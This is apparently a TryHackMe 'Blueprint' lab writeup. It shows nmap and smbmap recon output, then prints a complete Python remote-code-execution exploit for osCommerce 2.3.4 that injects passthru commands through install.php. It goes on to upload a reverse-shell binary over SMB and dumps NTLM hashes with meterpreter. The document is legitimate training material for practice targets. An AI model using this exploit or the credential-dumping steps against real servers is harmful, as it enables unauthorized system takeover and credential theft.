Skip to Content
WriteupsTryHackMeBlueprint

Blueprint - THM

This is the writeup for the TryHackMe easy difficulty room called Blueprint .

Task

This is going to be an exploitable Windows machine.

Recon

CMD: nmap -sT -sV -F $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-28 12:27 CET Nmap scan report for 10.10.179.32 Host is up (0.12s latency). Not shown: 90 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28) 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysql MariaDB (unauthorized) 8080/tcp open http Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC

There is a webserver running on port 8080 and a Windows SMB server on port 445.

CMD: smbmap -H $IP -u guest -r ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap [*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authenticated session(s) [+] IP: 10.10.179.32:445 Name: 10.10.179.32 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ NO ACCESS Remote IPC Users READ ONLY ./Users dw--w--w-- 0 Fri Apr 12 00:36:40 2019 . dw--w--w-- 0 Fri Apr 12 00:36:40 2019 .. dw--w--w-- 0 Sun Jan 15 23:38:59 2017 Default fr--r--r-- 174 Sun Jan 15 23:28:56 2017 desktop.ini dw--w--w-- 0 Tue Oct 28 12:40:14 2025 Public Windows NO ACCESS [*] Closed 1 connections

Running the tool smbmap we notice that we are able to write to the directory Public and Default.

Website

The website shows that is an osCommerce 2.3.4 site.

Exploitation

Exploit_DB

Exploit DB  gives us several possibe exploits for the site.
We are going to use the first one .

osCommerce2_3_4RCE.py
import requests import sys if(len(sys.argv) != 2): print("please specify the osCommerce url") print("format: python3 osCommerce2_3_4RCE.py <url>") print("eg: python3 osCommerce2_3_4RCE.py http://localhost/oscommerce-2.3.4/catalog") sys.exit(0) baseUrl = sys.argv[1] testVulnUrl = baseUrl + '/install/install.php' def rce(command): #targeting the finish step which is step 4 targetUrl = baseUrl + '/install/install.php?step=4' payload = "');" payload += "passthru('" + command + "');" # injecting system command here payload += "/*" #injecting parameter data = { 'DIR_FS_DOCUMENT_ROOT': './', 'DB_DATABASE' : payload } response = requests.post(targetUrl, data=data) if(response.status_code == 200): #print('[*] Successfully injected payload to config file') readCMDUrl = baseUrl + '/install/includes/configure.php' cmd = requests.get(readCMDUrl) commandRsl = cmd.text.split('\n') if(cmd.status_code == 200): #print('[*] System Command Execution Completed') #removing the error message above for i in range(2, len(commandRsl)): print(commandRsl[i]) else: return '[!] Configure.php not found' else: return '[!] Fail to inject payload' #testing vulnerability accessing the directory test = requests.get(testVulnUrl) #checking the install directory still exist or able to access or not if(test.status_code == 200): print('[*] Install directory still available, the host likely vulnerable to the exploit.') #testing system command injection print('[*] Testing injecting system command to test vulnerability') cmd = 'whoami' print('User: ', end='') err = rce(cmd) if(err != None): print(err) sys.exit(0) while(True): cmd = input('RCE_SHELL$ ') err = rce(cmd) if(err != None): print(err) sys.exit(0) else: print('[!] Install directory not found, the host is not vulnerable') sys.exit(0)

Running the python script we can run any command as NT AUTHORITY\SYSTEM.

CMD: python osCommerce2_3_4RCE.py http://$IP:8080/oscommerce-2.3.4/catalog [*] Install directory still available, the host likely vulnerable to the exploit. [*] Testing injecting system command to test vulnerability User: nt authority\system RCE_SHELL$

Using the previously discovered SMB Share we can upload a reverse shell and run it with SYSTEM privileges.

CMD: smbclient //$IP/Users --user guest Password for [WORKGROUP\guest]: Try "help" to get a list of possible commands. smb: \> cd Public smb: \Public\> put rev.exe putting file rev.exe as \Public\rev.exe (51.8 kb/s) (average 51.8 kb/s)

Running it from the python script we get our shell back.

meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:549a1bcb88e35dc18c7a0b0168631411::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::

Meterpreter can dump the NTLM hashes by default.

Lab_Password

We can also get the ROOT FLAG in the directory C:\Users\Administrator\.

Root_Flag

Last updated on